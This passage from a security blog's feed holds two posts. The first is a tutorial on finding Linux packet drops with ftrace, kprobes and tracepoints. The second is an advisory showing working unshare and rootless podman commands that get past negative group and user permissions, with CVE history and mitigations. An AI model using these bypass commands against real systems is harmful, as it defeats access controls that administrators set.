Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like <code>perf</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> and <code>dropwatch</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
However, what if none of these tools are installed, and you cannot install anything extra?
What if all we have is a shell?
In that case, it&rsquo;s time to <em>lol</em>, living off the land.</p>]]></description><content:encoded><![CDATA[<h1 id="analyzing-packet-drops-without-tooling-or-ftrace-the-pure-way">Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</h1>
<p>Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals.
Today, we&rsquo;d like to show you a way to understand packet drops without the need for any additional tools to be installed.
Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like <code>perf</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> and <code>dropwatch</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
However, what if none of these tools are installed, and you cannot install anything extra?
What if all we have is a shell?
In that case, it&rsquo;s time to <em>lol</em>, living off the land.</p>
<h2 id="introduction">Introduction</h2>
<p>Let&rsquo;s consider a scenario where we need to understand where and at which point in the Linux network stack packets are being dropped.
This is a task that senior system administrators sometimes have to tackle, and it&rsquo;s also essential for pentesters when assessing the effectiveness of crafted packets.</p>
<p>Before we delve into the details, let&rsquo;s clarify a few key aspects of packets within Linux&rsquo;s network stack.
In the kernel, a packet is referred to as a &ldquo;socket buffer&rdquo;<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, commonly abbreviated as <em>skbuff</em> or just <em>skb</em>.
A skb is a versatile data structure capable of holding various types of network packets.
skbuffs are passed through the network stack both upwards and downwards.
Different components in the stack can choose to pass the skb along, modify it, consume it, or release it.</p>
<p>Technically, both consuming and releasing it mean returning the buffer&rsquo;s memory to the allocator and destroying the socket buffer data structure.
Linux distinguishes between successful deliveries and error conditions where the network stack gives up on a particular packet.
In this context, we&rsquo;re concerned with the latter scenario.</p>
<h2 id="the-linux-function-tracer-ftrace">The Linux Function Tracer: ftrace</h2>
<p>A debugging gem hidden deep within the Linux kernel is the function tracer<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, often referred to as &ldquo;ftrace.&rdquo;
Normally, it acts as the backbone for high-level tools like <code>trace-cmd</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> or <code>perf</code>.
However, even when you have virtually nothing installed, you can still leverage the function tracer through a filesystem-based interface.</p>
<p>This interface is provided by <code>tracefs</code>, which is typically mounted at <code>/sys/kernel/debug/tracing</code>.
This assumes that the function trace feature is enabled in the kernel configuration, which is usually the case.
One notable feature of ftrace is that it imposes zero runtime overhead when disabled.</p>
<p>While ftrace certainly merits its own extensive blog series due to its wealth of functionality, for now, let&rsquo;s keep it minimal and focused.
For the purposes of this blog post, all file paths are considered relative to <code>/sys/kernel/debug/tracing/</code>.
ftrace records all events into a trace buffer, and you can access this buffer by reading from the file named <code>trace_pipe</code>.
A straightforward <code>cat trace_pipe</code> command will provide a continuous stream of events if any are present.
However, it&rsquo;s important to note that if there are no events, the <code>cat</code> command will block and wait for events to appear.</p>
<h2 id="lets-hunt-for-dropped-packets">Let&rsquo;s Hunt for Dropped Packets</h2>
<p>Based on our exploration of the kernel source code, we&rsquo;ve already identified a function called <code>kfree_skb()</code>, which is responsible for destroying a socket buffer (skbuff).
Our expectation is that this function is primarily used for non-consuming destruction, which means it&rsquo;s applied every time the network stack gives up on a packet, resulting in the packet being discarded.</p>
<p>Now, let&rsquo;s search for the function using ftrace:</p>
<pre><code>$ grep -e kfree_skb available_filter_functions 
kfree_skbmem
kfree_skb_reason
kfree_skb_list_reason
__kfree_skb
kfree_skb_partial
__kfree_skb_defer
__dev_kfree_skb_irq
__dev_kfree_skb_any
rtnl_kfree_skbs
__traceiter_kfree_skb
trace_kfree_skb_hit
net_dm_packet_trace_kfree_skb_hit
</code></pre>
<p>Nice! There is a <code>__kfree_skb</code>, sounds good.
Let&rsquo;s tell ftrace to trace every invocation of this function and arm the function tracer.</p>
<pre><code>$ echo __kfree_skb &gt; set_ftrace_filter
$ echo function &gt; current_tracer
$ echo &gt; trace # just in case, clear old contents in the buffer
$ cat trace_pipe
      napi/-8411-1777    [006] b..2. 713195.705113: __kfree_skb &lt;-tcp_ack
      napi/-8411-1777    [006] b..2. 713195.705120: __kfree_skb &lt;-tcp_rcv_established
[.. over and over ...]
      napi/-8411-1777    [006] b..2. 713229.810263: __kfree_skb &lt;-tcp_ack
      napi/-8411-1777    [006] b..2. 713229.810271: __kfree_skb &lt;-tcp_rcv_established
</code></pre>
<p>Dang! That&rsquo;s a lot of output.
Looks like <code>__kfree_skb()</code> is always called for both consuming and non-consuming releases of an skb.
Let&rsquo;s disable ftrace again.</p>
<pre><code>$ echo nop &gt; current_tracer
$ echo &gt; set_ftrace_filter
$ echo &gt; trace
</code></pre>
<p>Continuing our exploration of the network code, we&rsquo;ve discovered the function <code>kfree_skb_reason()</code>.
This function utilizes <code>__kfree_skb()</code> but takes a crucial function parameter: the &ldquo;reason&rdquo;.
This appears to be precisely what we&rsquo;re looking for.
The reason is of type <code>enum skb_drop_reason</code> as defined in <code>include/net/dropreason-core.h</code>.
These reasons encompass values such as <code>SKB_CONSUMED</code>, <code>SKB_DROP_REASON_NO_SOCKET</code>, and <code>SKB_DROP_REASON_NETFILTER_DROP</code>.</p>
<p>Our goal is to trace every invocation of <code>kfree_skb_reason()</code> when the reason is not equal to <code>SKB_CONSUMED</code>.
This will help us monitor situations where the network stack abandons a packet for reasons other than consumption.</p>
<p>In our quest to trace and analyze events deeper in the kernel, we encounter a limitation with ftrace&rsquo;s basic function tracing.
It permits us to filter events based on the function name but doesn&rsquo;t provide access to function arguments.
Moreover, we only observe function calls without their associated arguments, making a simple <code>grep -v</code> on the <code>trace_pipe</code> file insufficient.</p>
<p>To overcome this limitation, we can delve deeper into ftrace&rsquo;s capabilities, particularly by leveraging custom probes known as &ldquo;kprobes&rdquo;<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
A kprobe essentially serves as a probe point within the kernel and can be set at various locations, including function entry, function return, or anywhere within a function.
By probing at the function entry, we gain access to the function&rsquo;s arguments, allowing for more detailed analysis and tracing.</p>
<p>Manually installing a new kprobe is a bit cumbersome.
In our case, we want to probe the function <code>kfree_skb_reason()</code>.
To set up the kprobe, we need to inform ftrace how to access the function&rsquo;s arguments, which can be machine-specific.
In this example, we&rsquo;ll use an x86_64 laptop.
On this architecture, the Linux kernel adheres to the System V AMD64 ABI, where the first function argument is stored in the <code>DI</code> register,
and the second one is stored in the <code>SI</code> register.</p>
<p>Setting up a kprobe requires specifying a name and a format string.
We can use the register names in the format string to access the function&rsquo;s arguments for analysis.</p>
<pre><code>$ echo 'p:my_skb_probe kfree_skb_reason skb=%di:u64 reason=%si:u64' &gt; kprobe_events
</code></pre>
<p>After this command a new directory named <code>my_skb_probe</code> will show up in <code>events/kprobes/</code>.
Let&rsquo;s arm it and read from the trace buffer.</p>
<pre><code>$ echo 1 &gt; events/kprobes/my_skb_probe/enable
$ echo &gt; trace
$ cat trace_pipe
     ksoftirqd/1-23      [001] ..s.. 714457.274916: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795712 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.290757: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795200 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.306989: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415797504 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.323109: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304559104 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.342760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564736 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.358760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304561664 reason=2
	  &lt;idle&gt;-0       [010] ..s1. 714457.366230: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=0 reason=2
  kworker/u32:33-28725   [004] ..... 714457.366293: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617057572911104 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.374797: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564992 reason=2
</code></pre>
<p>While we&rsquo;ve made progress, there are still many events. However, we can now clearly see the reasons, with reason number <code>2</code> representing <code>SKB_DROP_REASON_NOT_SPECIFIED</code>.</p>
<p>To filter the events more effectively using ftrace, we can instruct it to only emit events when the reason is larger than <code>2</code>. We use &ldquo;larger&rdquo; because values <code>0</code> and <code>1</code> correspond to <code>SKB_NOT_DROPPED_YET</code> and <code>SKB_CONSUMED</code>.
This approach will allow us to focus on events where the network stack discards packets for reasons other than these two.</p>
<pre><code>$ echo &quot;reason &gt; 2&quot; &gt; events/kprobes/my_skb_probe/filter
$ echo &gt; trace
$ cat trace_pipe
napi/-8412-1778    [014] b.... 714699.253491: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617078699127552 reason=3
</code></pre>
<p>Excellent, by filtering for events with a reason larger than <code>2</code>, we&rsquo;ve successfully narrowed down the events to a more manageable and meaningful set.
Now we&rsquo;re able to focus on events that truly matter.
Reason number <code>3</code> corresponds to <code>SKB_DROP_REASON_NO_SOCKET</code>, which, in your case, is associated with your test program attempting to connect to a closed port using telnet.</p>
<p>While it&rsquo;s beneficial to see when Linux drops a packet, the events themselves provide limited information, primarily just the reason number.
To gain deeper insights into the process and understand the path the skbuff took through the network stack, the next step is to print a stack trace.
This will enable us to visualize the call chain and, hopefully, learn more about the skbuff&rsquo;s journey within the network stack.</p>
<p>Every event in ftrace can be equipped with triggers, and one trigger type involves printing a stack trace.</p>
<pre><code>$ echo 'stacktrace if reason &gt; 2' &gt; events/kprobes/my_skb_probe/trigger 
$ echo &gt; trace
$ cat trace_pipe
      napi/-8412-1778    [014] b.... 715083.709832: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617059302153472 reason=3
      napi/-8412-1778    [014] b..1. 715083.709868: &lt;stack trace&gt;
 =&gt; kprobe_trace_func
 =&gt; kprobe_dispatcher
 =&gt; kprobe_ftrace_handler
 =&gt; create_port
 =&gt; kfree_skb_reason
 =&gt; tcp_v4_rcv
 =&gt; ip_protocol_deliver_rcu
 =&gt; ip_local_deliver_finish
 =&gt; __netif_receive_skb_core.constprop.0
 =&gt; __netif_receive_skb_list_core
 =&gt; netif_receive_skb_list_internal
 =&gt; napi_complete_done
 =&gt; ath11k_pcic_ext_grp_napi_poll
 =&gt; __napi_poll
 =&gt; napi_threaded_poll
 =&gt; kthread
 =&gt; ret_from_fork
</code></pre>
<p>Now we see that the dropped packet arrived through the ath11k WiFi driver, and the function <code>tcp_v4_rcv()</code> decided to drop it on the floor!</p>
<p>To disable the custom probe run:</p>
<pre><code>$ echo 0 &gt; events/kprobes/my_skb_probe/enable
$ echo '!stacktrace if reason &gt; 2' &gt; events/kprobes/my_skb_probe/trigger
$ echo &gt; kprobe_events
</code></pre>
<h2 id="using-tracepoints">Using Tracepoints</h2>
<p>Delving into the intricacies of kernel internals and machine-specific function call ABI details can be quite challenging and may not be necessary for everyone.
Fortunately, Linux provides a more accessible solution through predefined kprobes known as tracepoints.
These tracepoints are strategically placed at crucial locations in the kernel where regular function tracing might not provide sufficient context.
In the case of the Linux network stack, the maintainers have thoughtfully provided tracepoints for various skbuff operations.
This makes it easier for users to access and gather meaningful information without the need to delve too deeply into the kernel&rsquo;s internals.</p>
<pre><code>$ ls -1 events/skb
consume_skb
enable
filter
kfree_skb
skb_copy_datagram_iovec
</code></pre>
<p><code>consume_skb</code> and <code>kfree_skb</code> look promising! In the event directory is also a file called <code>format</code> which describes the event.</p>
<pre><code>$ cat events/skb/kfree_skb/format 
name: kfree_skb
[.. skipped output ..]
	field:void * skbaddr;   offset:8;       size:8; signed:0;
	field:void * location;  offset:16;      size:8; signed:0;
	field:unsigned short protocol;  offset:24;      size:2; signed:0;
	field:enum skb_drop_reason reason;      offset:28;      size:4; signed:0;
[.. skipped output ..]
</code></pre>
<p>The event can provide us with the drop reason. Let&rsquo;s enable it and filter for <code>reason &gt; 2</code></p>
<pre><code>$ echo 1 &gt; events/skb/kfree_skb/enable 
$ echo &quot;reason &gt; 2&quot; &gt; events/skb/kfree_skb/filter
$ echo &gt; trace
$ cat trace_pipe
  napi/-8411-1777    [006] b.... 715880.566050: kfree_skb: skbaddr=000000002d74f5c5 protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
</code></pre>
<p>The reason has even a symbolic name and we immediately see the caller! Having a stack trace is of course also possible.</p>
<pre><code>$ echo 'stacktrace if reason &gt; 2' &gt; events/skb/kfree_skb/trigger
$ cat trace_pipe
      napi/-8411-1777    [006] b.... 715962.431448: kfree_skb: skbaddr=0000000096888eda protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
      napi/-8411-1777    [006] b..1. 715962.431472: &lt;stack trace&gt;
 =&gt; trace_event_raw_event_kfree_skb
 =&gt; kfree_skb_reason
 =&gt; tcp_v4_rcv
 =&gt; ip_protocol_deliver_rcu
 =&gt; ip_local_deliver_finish
 =&gt; __netif_receive_skb_core.constprop.0
 =&gt; __netif_receive_skb_list_core
 =&gt; netif_receive_skb_list_internal
 =&gt; napi_complete_done
 =&gt; ath11k_pcic_ext_grp_napi_poll
 =&gt; __napi_poll
 =&gt; napi_threaded_poll
 =&gt; kthread
 =&gt; ret_from_fork
</code></pre>
<h3 id="ftrace-with-tracepoints-in-action">ftrace with Tracepoints In Action</h3>
<figure>
<img src="term_tp.svg" loading="lazy" decoding="async"></figure>
<p>Why didn&rsquo;t we immediately demonstrate the easy way using tracepoints? Because learning something the hard way helps in understanding the basics. Additionally, not all interesting areas in the kernel have matching tracepoints, so sooner or later, you may need to add your own kprobes.</p>
<h2 id="summary">Summary</h2>
<p>Even with no tracing-specific tooling installed, Linux allows for advanced debugging using a file-based interface.
Using the function trace, ftrace, it&rsquo;s possible to inspect the kernel&rsquo;s internals easily.
In this example, we used ftrace to understand how and where network packets are dropped.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://perf.wiki.kernel.org/index.php/Main_Page">Perf Wiki</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/nhorman/dropwatch/">dropwatch Git Repository</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/networking/skbuff.html">struct sk_buff - The Linux Kernel Documentation</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://docs.kernel.org/trace/ftrace.html">ftrace - Function Tracer - The Linux Kernel Documentation</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.trace-cmd.org/">tracecmd Website</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://docs.kernel.org/trace/kprobetrace.html">Kprobe-based Event Tracing - The Linux Kernel Documentation</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>No Love for Negative Permissions</title><link>https://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/</link><pubDate>Thu, 31 Aug 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/08/no-love-for-negative-permissions/</guid><description><![CDATA[<h1 id="no-love-for-negative-permissions">No Love for Negative Permissions</h1>
<p>TL;DR: <em>Avoid using negative permissions; on modern Linux systems, they can be circumvented.</em></p>
<p>Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC).
Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed <em>white</em> or <em>allow</em> listing.
However, both DAC and ACL do allow the implementation of negative permissions.
Negative permissions <em>deny</em> access to certain users or groups while everybody else retains access.
This practice is much less common and is widely seen as a poor security practice within the community.</p>]]></description><content:encoded><![CDATA[<h1 id="no-love-for-negative-permissions">No Love for Negative Permissions</h1>
<p>TL;DR: <em>Avoid using negative permissions; on modern Linux systems, they can be circumvented.</em></p>
<p>Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC).
Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed <em>white</em> or <em>allow</em> listing.
However, both DAC and ACL do allow the implementation of negative permissions.
Negative permissions <em>deny</em> access to certain users or groups while everybody else retains access.
This practice is much less common and is widely seen as a poor security practice within the community.</p>
<p>With the advent of Linux containers, the landscape has shifted, rendering negative permissions not only a poor practice but also susceptible to bypass attacks.
In contemporary Linux systems, there&rsquo;s a significant likelihood that users can sidestep negative permissions and potentially gain entry to protected files.</p>
<h3 id="example-of-negative-permissions">Example of Negative Permissions</h3>
<p>Let&rsquo;s consider a scenario where everyone has access to the <code>/usr/share/games</code> folder. However, there&rsquo;s a desire to prevent specific users from playing games. To achieve this, a new group called <code>nogames</code> is established, and a negative permission is implemented to deny access for members belonging to this group.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">root@host$ groupadd nogames
</span></span><span class="line"><span class="cl">root@host$ usermod -G nogames bob
</span></span><span class="line"><span class="cl">root@host$ usermod -G nogames john
</span></span><span class="line"><span class="cl">root@host$ chown root:nogames /usr/share/games/
</span></span><span class="line"><span class="cl">root@host$ chmod <span class="nv">u</span><span class="o">=</span>rwx,g<span class="o">=</span>,o<span class="o">=</span>rx-w /usr/share/games/
</span></span></code></pre></td></tr></table>
</div>
</div><p>Now, users <code>bob</code> and <code>john</code> are effectively restricted from accessing the <code>/usr/share/games</code> directory. This outcome is achieved due to the priority sequence: <code>user</code> DAC entries take precedence over <code>group</code>, and <code>group</code> takes precedence over <code>other</code>.
Given that both <code>bob</code> and <code>john</code> belong to the <code>nogames</code> group, the permissions established for the <code>nogames</code> group take precedence, resulting in no granted permissions for them.
Conversely, for all other users, either the <code>user</code> or the <code>other</code> entities come into play.
The same objective can also be accomplished using Access Control Lists (ACLs) in place of discretionary access control (DAC). For instance, you can implement an ACL using a command like <code>setfacl -m g:nogames:--- /usr/share/games</code>.</p>
<h3 id="exploiting-the-problem">Exploiting the Problem</h3>
<p>Certainly, if a user manages to remove themselves from the <code>nogames</code> group, access would be restored.
The <code>setgroups()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> system call enables the modification of supplementary groups associated with the current process.
Naturally, such an operation requires privileged capabilities, specifically the <code>CAP_SETGID</code> capability.
This mechanism highlights the significance of managing privileges and group memberships to  effectively uphold the desired access controls.</p>
<p>With the advent of Linux containers, particularly user namespaces, the dynamics have shifted.
In a user namespace, an unprivileged user possesses all capabilities.
However, every action taking place within the namespace is associated with the user and group IDs of the namespace&rsquo;s creator.
For enabling rootless container engines like <code>podman</code>, the <code>shadow-utils</code> package includes a lesser-known toolkit: <code>newuidmap</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> and <code>newgidmap</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.
These tools are either set-uid-root or possess the file capability <code>CAP_SETGID</code>.
By utilizing these tools, users can establish a fresh user namespace and set up UID and GID mappings that target distinct IDs from those of the invoking task.
These mappings are maintained in <code>/etc/subuid</code> and <code>/etc/subgid</code>.
When a user is created, the <code>useradd</code> tool configures these designated subordinate IDs.</p>
<p>Having multiple group ID mappings in place empowers a process within a user namespace once again to employ the <code>setgroups()</code> syscall, allowing it to shed supplementary groups at its discretion!</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ unshare -G <span class="m">0</span> --map-groups<span class="o">=</span>100000,0,1 ls /usr/share/games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><p>The <code>unshare</code> tool internally employs <code>newuidmap</code> and <code>newgidmap</code>.
By consulting <code>/etc/subgid</code>, we know that the user named <code>bob</code> can utilize the subordinate group ID <code>100000</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ podman run --rm -it -v /:/xxx/ docker.io/bash ls /xxx/usr/share/games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><p><code>podman</code> in rootless mode can also be utilized to achieve the same result.</p>
<h4 id="user-based-negative-permissions">User based Negative Permissions</h4>
<p>An attentive reader might wonder about negative permissions based on users, as we&rsquo;ve mostly talked about groups so far.
Consider a scenario involving negative ACLs like this: let&rsquo;s say we want to prevent user <code>bob</code> from accessing games using an ACL command like <code>setfacl -m u:bob:--- /usr/share/games</code>.
Once again, using <code>unshare</code> along with <code>newuidmap</code> proves to be effective.
However, this time, it doesn&rsquo;t involve dropping additional groups.
Instead, it works by changing the effective user ID to one within a specific range.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">bob@host$ ls /usr/share/games
</span></span><span class="line"><span class="cl">ls: cannot open directory <span class="s1">&#39;/usr/share/games&#39;</span>: Permission denied
</span></span><span class="line"><span class="cl">bob@host$ unshare -S <span class="m">0</span> --map-users<span class="o">=</span>100000,0,1 ls /games
</span></span><span class="line"><span class="cl">atc  boggle quiz
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="background-and-history">Background and History</h3>
<p>At first, the idea that dropping or changing group memberships might cause problems wasn&rsquo;t considered when user namespaces were added.
This was mainly because people didn&rsquo;t think about situations where permissions work in a negative way.
It was assumed that if you leave a group, you&rsquo;d have less power, and on Linux diminishing one&rsquo;s own authority is usually okay.
Yet, it didn&rsquo;t take long to realize<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> that dropping groups could actually give more power when dealing with negative permissions.
This discovery led to an issue known as CVE-2014-8989, which was quickly fixed in Linux version 3.19.</p>
<p>In 2018, it was discovered that version 4.5 of the <code>shadow-utils</code> package introduced a new tool named <code>newgidmap</code>.
This tool can be used to create more complex mappings for group IDs within user namespaces.
Consequently, it reinstates the ability to drop group memberships using the <code>setgroups()</code> syscall<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.
This issue was given the tracking identifier CVE-2018-7169.
The resolution adopted by some Linux distributions was to exclude this tool from their packages.
Furthermore, <code>newuidmap</code> assists users in changing their user ID to one within an authorized range, as configured in <code>/etc/subid</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
This maneuver can also serve to circumvent negative permissions based on user settings.</p>
<p>Though this problem wasn&rsquo;t a kernel bug, it became evident that rectifying this vulnerability without disrupting established programs like <code>podman</code> would require a non-trivial kernel change<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>.</p>
<p>Other potential solutions also focused on the <code>shadow-utils</code> package itself<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>, but as of now, they haven&rsquo;t gained significant traction.
Ultimately, by 2021, a general agreement was reached to move away from supporting negative permissions and to acknowledge the reality that they can be circumvented<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>In 2023, Richard rediscovered the problem and opted to comprehensively document it across multiple Linux manual pages<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<h2 id="summary">Summary</h2>
<p>Negative permissions have consistently been regarded as bad practice and often treated as theoretical concept.
With the incorporation of Linux containers, negative permissions can now be evaded.</p>
<p>If you find yourself reliant on them, consider one of the following actions:</p>
<ul>
<li>Restructure your permissions into proper allow rules; this is the most recommended approach.</li>
<li>Ensure that neither <code>newuidmap</code> nor <code>newgidmap</code> is present. As of 2023, these two tools are the primary gateways for bypassing such permissions. However, this situation might change in the future.</li>
<li>Completely disable user namespaces by setting the <code>user.max_user_namespaces</code> sysctl to <code>0</code>.</li>
<li>On Ubuntu-based systems, you can also use the <code>kernel.unprivileged_userns_clone</code> to disable user namespaces only for unprivileged users.</li>
</ul>
<p>Finally, it is worth noting that there is still effort to tame <code>newgidmap</code> and <code>newuidmap</code><sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man2/setgroups.2.html">https://man7.org/linux/man-pages/man2/setgroups.2.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man1/newuidmap.1.html">https://man7.org/linux/man-pages/man1/newuidmap.1.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man1/neguidmap.1.html">https://man7.org/linux/man-pages/man1/newgidmap.1.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://lwn.net/Articles/621629/">https://lwn.net/Articles/621629/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://bugs.launchpad.net/ubuntu/&#43;source/shadow/&#43;bug/1729357">https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man5/subuid.5.html">https://man7.org/linux/man-pages/man5/subuid.5.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://lore.kernel.org/lkml/20210510130011.1441834-1-gscrivan@redhat.com/">https://lore.kernel.org/lkml/20210510130011.1441834-1-gscrivan@redhat.com/</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://lore.kernel.org/lkml/878sc27zfd.fsf_-_@x220.int.ebiederm.org/">https://lore.kernel.org/lkml/878sc27zfd.fsf_-_@x220.int.ebiederm.org/</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://github.com/shadow-maint/shadow/pull/99">https://github.com/shadow-maint/shadow/pull/99</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://lore.kernel.org/lkml/m1o8d4xgkk.fsf@fess.ebiederm.org/">https://lore.kernel.org/lkml/m1o8d4xgkk.fsf@fess.ebiederm.org/</a>]&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
